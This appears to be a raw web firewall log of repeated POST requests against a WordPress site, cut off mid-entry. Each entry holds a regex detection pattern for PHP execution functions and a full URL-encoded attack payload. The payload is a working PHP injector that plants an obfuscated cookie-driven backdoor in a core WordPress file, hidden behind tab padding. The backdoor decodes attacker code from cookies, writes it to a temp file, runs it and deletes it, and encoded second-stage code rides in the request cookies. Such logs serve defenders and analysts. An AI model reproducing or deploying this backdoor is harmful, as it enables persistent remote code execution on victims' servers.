Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-length:4379\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\nupgrade-insecure-requests:1\n\niC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-94%252B94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-4%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B48%252B-44%255D%2529%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524holder%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527bc86b95b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524value%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data_chunk%252C%2520%2524record%2529%253B%2520fclose%2528%2524data_chunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524flag%2520%253D%2520%2522def6035be4af79483a268a77e519acd8%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524value%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_auth_exception_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:48:21","67.205.18.1","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PZ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-94%252B94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-4%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B48%252B-44%255D%2529%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524holder%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527bc86b95b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524value%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data_chunk%252C%2520%2524record%2529%253B%2520fclose%2528%2524data_chunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524flag%2520%253D%2520%2522def6035be4af79483a268a77e519acd8%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524value%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_auth_exception_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4379\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHSbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-mode:navigate\nsec-fetch-dest:document\n\nPZ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-94%252B94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-4%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B48%252B-44%255D%2529%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524holder%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527bc86b95b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524value%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data_chunk%252C%2520%2524record%2529%253B%2520fclose%2528%2524data_chunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524flag%2520%253D%2520%2522def6035be4af79483a268a77e519acd8%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524value%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_auth_exception_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:48:29","188.138.39.67","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Jl:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-94%252B94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-4%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B48%252B-44%255D%2529%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524holder%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527bc86b95b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524value%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data_chunk%252C%2520%2524record%2529%253B%2520fclose%2528%2524data_chunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524flag%2520%253D%2520%2522def6035be4af79483a268a77e519acd8%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524value%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_auth_exception_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFzjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-length:4379\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\nupgrade-insecure-requests:1\n\nJl=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-94%252B94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-4%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B48%252B-44%255D%2529%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524holder%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527bc86b95b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524value%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data_chunk%252C%2520%2524record%2529%253B%2520fclose%2528%2524data_chunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524flag%2520%253D%2520%2522def6035be4af79483a268a77e519acd8%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524value%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_auth_exception_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:48:47","179.27.99.226","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-94%252B94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-4%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B48%252B-44%255D%2529%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524holder%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527bc86b95b%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dataflow_engine%2522%253B%2520%257D%2520%2524record%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524value%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524data_chunk%252C%2520%2524record%2529%253B%2520fclose%2528%2524data_chunk%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524flag%2520%253D%2520%2522def6035be4af79483a268a77e519acd8%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flag%252C%2520%2524value%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_auth_exception_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoSZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncontent-length:4379\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\nupgrade-insecure-requests:1\n\nlS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SipHash.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-94%252B94%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-8%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-4%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B48%252B-44%255D%2529%2529%2520%257B%2520%2524value%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524holder%2529%2520%257B%2520%2524value%25